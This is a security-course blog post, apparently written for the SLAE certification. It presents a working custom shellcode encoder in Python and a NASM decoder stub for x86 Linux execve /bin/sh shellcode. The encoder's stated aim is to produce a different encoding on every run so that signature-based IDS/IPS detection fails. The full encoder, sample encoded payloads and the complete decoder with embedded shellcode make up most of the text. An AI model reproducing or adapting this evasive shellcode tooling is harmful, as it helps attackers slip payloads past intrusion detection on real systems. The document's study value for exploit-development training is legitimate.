The fourth assignment is to
Create a custom encoding scheme like the “InsertionEncoder”
Poc with using execve-stack as the shellcode to encode with the schema and execute
The challenge for me on this exercise was to find a way with which I would be able to produce different encoded shellcode in an easy way trying to defeat signature threat-detection IDS/IPS.
An IPS except from performing real time analysis of the traffic, logging of the packets on an IP network analysis of protocol, searching-matching the content and logging of the packets does a signature-based threat-detection.
The python script that I have created, produces different shellcode each time the script runs.
Note that it was created to run only for this execve shellcode and have not been tested to run for other shellcodes.
The method I used is based on a random byte, created every time the script runs.This byte is used as a leader-byte, to encode the rest of the bytes.The script I created is simple and can be improved more.
Lets analyze the python script pattern
- It accepts from command a byte which is named as “Leader Byte” .
- Splits the Leader Byte in 2 groups of 4 bits (If Leader was A4 firstb=A and secondb=4)
- Calculates the value of (firstb-secondb) with some additional checks
- Reads the first execve instruction.
- Calculates the supplement suplX of this byte (If it was the execve instruction was \x31 now becomes suplX=ff-31=CE).
- Reverts the byte order and stores the bytes on rev_suplx (If suplX=CE → rev_suplx=EC).
- Calculates the Encoded (xxx) byte using the formula of xxx= firstb-secondb + rev_suplx.
- Adds an additional random byte after the encoded xxx byte.
- Reads the next execve instruction.
- Loops back to step 5 till the last instruction in the execve shellocode gets encoded.
The Python Code is the following
#!/usr/bin/python # Author:Konstantinos Alexiou # Encoding name: Followtheleader-encoder # Description: Custom execve-shellcode encoder based on a given random byte which is used to encode the execve shellcode import random import sys shellcode =('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80') total = len(sys.argv) if total != 2: print '!!Give the LEADER byte' print 'Script must run as: python xxx.py LEADER' print 'LEADER is any integer between 17-255' print 'e.g python Followtheleader.py 32' else: try: leader = int(sys.argv[1]) fb = int(hex(leader)[2:3],16) # Split the LEADER. If leader = AF -->fb=A sb = int(hex(leader)[3:],16) # Split the LEADER. If LEADER = AF -->sb=F encoded = ' ' encoded2 = ' ' encoded = '\\x' encoded += hex(leader)[2:] # FIRST byte the LEADER encoded2 = '0x' encoded2 += hex(leader)[2:] i=0 for x in bytearray(shellcode): # READ every Instruction as BYTE i +=1 hopcode = '%02x' %x # KEEP only the HEX value of opcode Dec_hopcode = int(hopcode, 16) # CALCULATE the DECIMAL value of opcode suplX = 255 - Dec_hopcode # CALCULATE the SUPPLEMENT rev_suplx = hex(suplX)[::-1] # REVERT the bytes of SUPPLEMENT (ae --> ea) subfs = fb-sb #----------------------------The Encoded byte ---------------------------------------------------- xxx = hex(int(abs(subfs)) + int(rev_suplx[0:2],16)) #------------------------------------------------------------------------------------------------- if len(xxx)>4: # Check if xxx > 0xff print 'Overflow encoding.Try again!!!.' sys.exit() elif xxx == '0x0': # Check if ZERO byte was encoded print 'A byte was Encoded as 0x00 .Try again!!!' sys.exit() encoded += '\\x' # Put \x first encoded += xxx[2:] # Put the xxx afterwards insertByte = hex(random.randint(1,255)) # Put a Random byte encoded += '\\x' encoded += insertByte[2:] i +=1 encoded2 += ',' encoded2 += xxx encoded2 += ',' encoded2 += '0x' encoded2 += insertByte[2:] print ' *************'; print ' LEADER BYTE :decimal(%d), HEX(0x%x)' %(int(sys.argv[1]),leader) print ' *************'; print 'Len of Shellcode: %02d' % i print '------------------------------------------------------------------------'; print ' 1. Style:= %s ' % encoded print '------------------------------------------------------------------------'; print ' 2. Style:= %s ' % encoded2 print '------------------------------------------------------------------------'; except: print "exiting..." --------------------------------------------------------------------------------------- Followtheleader Encoder test run : $ python Followtheleader-encoder.py 67 ************* LEADER BYTE :decimal(67), HEX(0x43) ************* Len of Shellcode: 50 ------------------------------------------------------------------------ 1. Style:= \x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\xe\xb6\xe\xbc\xc9\xe3\x7a\xaf\x7a\x78 \xe\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78 \xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe ------------------------------------------------------------------------ 2. Style:= 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3, 0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35, 0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe ------------------------------------------------------------------------
Screen-shots of the python script are bellow
The scripts accepts an integer with value between 17-255.This is the Leader byte which will encode the execve shellcode.
Running the python script giving different values, different patterns will be created which is what we want.
Next step was to create the decoder (the assembly code that will decode the encoded Shellcode).
The general steps to decode the shellcode must follow a reverse logic.
1. As we said earlier the first of the created encoded bytes is the Leader Byte.
2. This byte must be used to decode the rest of the bytes.
The logic I followed was to put the byte in a register spit in 2 groups of 4 bits (the firstb and the secondb) and then calculate the absolute value of the sub between (firstb-secondb) and store that value in a register.
3. We must decode only the bytes that sits in the correct positions. (In comparison with C the bytes that we have to decode are placed in the red positions [0,1,2,3,4,5…]. All the other positions contain garbage.So, some kind of pointer should be used to keep track of the “red” positions.
I used EBP and ESI to keep track of these positions. In order to decode the byte I calculated the rev_suplx. rev_suplx=xxx-(firstb – secondb) where xxx is the encoded byte located in the “red” position and (firstb – secondb) was calculated on step1. Then the calculated rev_suplx byte must be reverted in order to calculate the suplX. Finally was to calculate the supplement of suplX.
4. Every byte that is decoded must get shifted one position left. So, an additional pointer should be used.
I used EDI to keep track the position that must be overwritten with the decoded byte.
5. We must find a way to decide that all the bytes have been decoded and its time to jump to our decoded shellcode.
I used EBP as a counter to the actual decoded length of the shellcode and compared it with the value of 50 which is the size of the execve-shellcode each time a new encoded byte got in the process of decoding.
Decoding process:
The assembly code on the screenshots and code below used for LEADER byte the decimal value 64.
; Filename: Followtheleader-decoder.nasm ; Author: Konstantinos Alexiou ; Description: Followtheleader custom insertion Encoder, Linux Intel/x86 global _start section .text _start: jmp short call_shellcode decoder: pop esi ; Address of EncodedShellcode to ESI lea edi, [esi] ; Load effective address of what is contained on EDI xor ecx, ecx ; Zero ECX mul ecx ; This instruction will cause both EAX and EDX to become zero xor ebp, ebp ; Zero the value on EBP mov dl, byte [esi] ; Put the LEADER byte to EDX (DL) ;(firstb - secondb) CALCULATION mov al, dl ; Copy the LEADER to EAX ;firstb extraction of LEADER shr dl, 4 ; Keep only the 4 high bits of LEADER to DL (if Leader=ac then DL=a) [firstb] ;secondb extraction of LEADER shl eax, 28 ; shift left 28 bits of EAX which contains the value of Leader on al shr eax, 28 ; shift right 28 of EAX (if EAX=0xc0000000 now EAX=0x0000000c) [secondb] sub dl, al ; (firstb - secondb) value stored to EDX (DL) jns decode_pr negative: ; Calculate the absolute value if negative or not dl inc dl ;decode process decode_pr: xor eax, eax xor ebx, ebx xor ecx, ecx mov al, byte [esi+1+ebp] ; Put the encoded byte to EAX mov ecx, ebp ; EBP is used as a counter, (copy the value of EBP to ECX) xor cl, 0x32 ; At the end of the shellcode EBP should point 50 in decimal 32 in hex je short EncodedShellcode ;rev_suplx Calculation mov cl, al ; Put the Encoded byte to EAX (xxx to EAX) sub cl, dl ; rev_suplx= xxx-(firstb - secondb) value stored to CL mov bl, cl ; Keep Backup of rev_suplx to BL mov al, cl ; Second backup of CL ;Revert the bytes on rev_suplx shr bl, 4 ; shift 4 bits right (if was bl=ec now bl=e) shl eax, 28 ; shift left 28 bits of EAX which contains the value of rev_supl on cl( if EAX was 0xec now EAX=0xc0000000) shr eax, 24 ; shift right 24 of EAX (if EAX=0xc0000000 now EAX=0x000000c0) add eax, ebx ; add the value on EBX to EAX (if EAX=0x000000c0 + BL=0xe, EAX=0x0000000ce) ;Supplement Calculation mov bl, 0xff ; Value of 0xff to BL sub bl, al ; Calculate the Supplement mov byte [edi], bl ; Put the decoded byte to the position of EDI inc edi ; EDI is a pointer to the position which the decoded bytes will be stored add ebp,0x2 ; The EBP is a counter values will be (2,4,6,..50) jmp short decode_pr ; Goto the decode process to decode the next bytes call_shellcode: call decoder EncodedShellcode: db 0x40,0xf0,0x37,0xf7,0x15,0xfe,0xe0,0x7d,0x20,0x11,0xb5,0x11,0x37,0xcc,0x36,0x7d,0xf3,0x7d,0x61,0x11,0xac,0xdd,0x87,0x6d,0xb0,0x1d,0x6f,0x6b,0x2,0xc5,0xe0,0xfe,0xbe,0x6b,0xc1,0xd5,0xc3,0xce,0x39,0x6b,0xeb,0xe5,0xfe,0xf8,0x29,0x53,0xf8,0x27,0x16,0xfb,0xe9
Screenshots of the decoder nasm file are included below
The above code does the following:
1. Stores the address of the encoded execve shellcode using the jmp,call pop technique.
_start: jmp short call_shellcode
2. Saves the LEADER byte to dl register of the EDX
decoder: pop esi ; Address of EncodedShellcode to ESI lea edi, [esi] ; Load effective address of what is contained on EDI xor ecx, ecx ; Zero ECX mul ecx ; This instruction will cause both EAX and EDX to become zero xor ebp, ebp ; Zero the value on EBP mov dl, byte [esi] ; Put the LEADER byte to EDX (DL)
3. Extracts the firstb and secondb of the Leader byte and calculates the absolute value of (firstb-secondb).
;(firstb - secondb) CALCULATION mov al, dl ; Copy the LEADER to EAX ;firstb extraction of LEADER shr dl, 4 ; Keep only the 4 high bits of LEADER to DL (if Leader=ac then DL=a) [firstb] ;secondb extraction of LEADER shl eax, 28 ; shift left 28 bits of EAX which contains the value of Leader on al shr eax, 28 ; shift right 28 of EAX (if EAX=0xc0000000 now EAX=0x0000000c) [secondb] sub dl, al ; (firstb - secondb) value stored to EDX (DL) jns decode_pr negative: ; Calculate the absolute value if negative or not dl inc dl
4. Go through decoding process
4.1 Put the encoded byte to EAX
mov al, byte [esi+1+ebp]
4.2 Uses EBP as a counter to the actual decoded length of the shellcode and compared it with the value of 50 which is the size of the execve-shellcode each time a new encoded byte got in the process of decoding.
mov ecx, ebp xor cl, 0x32 je short EncodedShellcode
4.3 Calculation of the rev_suplx= xxx-(firstb – secondb)
mov cl, al sub cl, dl mov bl, cl mov al, cl
4.5 Revert the bytes on rev_suplx with that calculates the supplument of the original execve shellcode
shr bl, 4 shl eax, 28 shr eax, 24 add eax, ebx mov bl, 0xff sub bl, al
5. Move the decoded byte to the appropriate location where edi is pointing .
As we said earlier we used EDI as a pointer to keep track the position that must be overwritten with the decoded execve byte.
mov byte [edi], bl inc edi add bp, 2
6. Loops back to step 4 for the next byte to be decoded
The loop to step 4 is done until all the encoded bytes are decoded. This is done with the help of the EBP register which is used as a counter. Every time the loop starts over the value of EBP gets incremented by 2 and is compared with 50 which is length of encoded shellcode and of course means that no more bytes needs to be decoded. The values it gets are 2,4,6,8…50 and the time EBP=50 the execution flow is directed to the start of the decoded ececve shellcode and executes it (this decoded execve shellcode).
Compiling and running the shellcode we get an execve shell as follow:
Observing the execution flow in gdb we can see the decoding process of the decoding bytes.
The address of starting point of the encoded shellcode can be seen bellow.
We can see the bytes that have been decoded.
And finally we see that we hit our /bin/sh shell.
Note:The encoder has been submitted and accepted both to the shell-storm and exploit-db, and you can find it here: http://shell-storm.org/shellcode/files/shellcode-902.php.
https://www.exploit-db.com/exploits/36781/
Kudos and appreciation to offensive-security team for their time and effort in maintaining the most amazing repository of shellcodes, exploits, papers etc.
Special thanks to Jonathan Salwan for his time and effort in maintaining the repository of shellcodes, and appreciation for accepting my code!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification
Student ID: SLAE – 627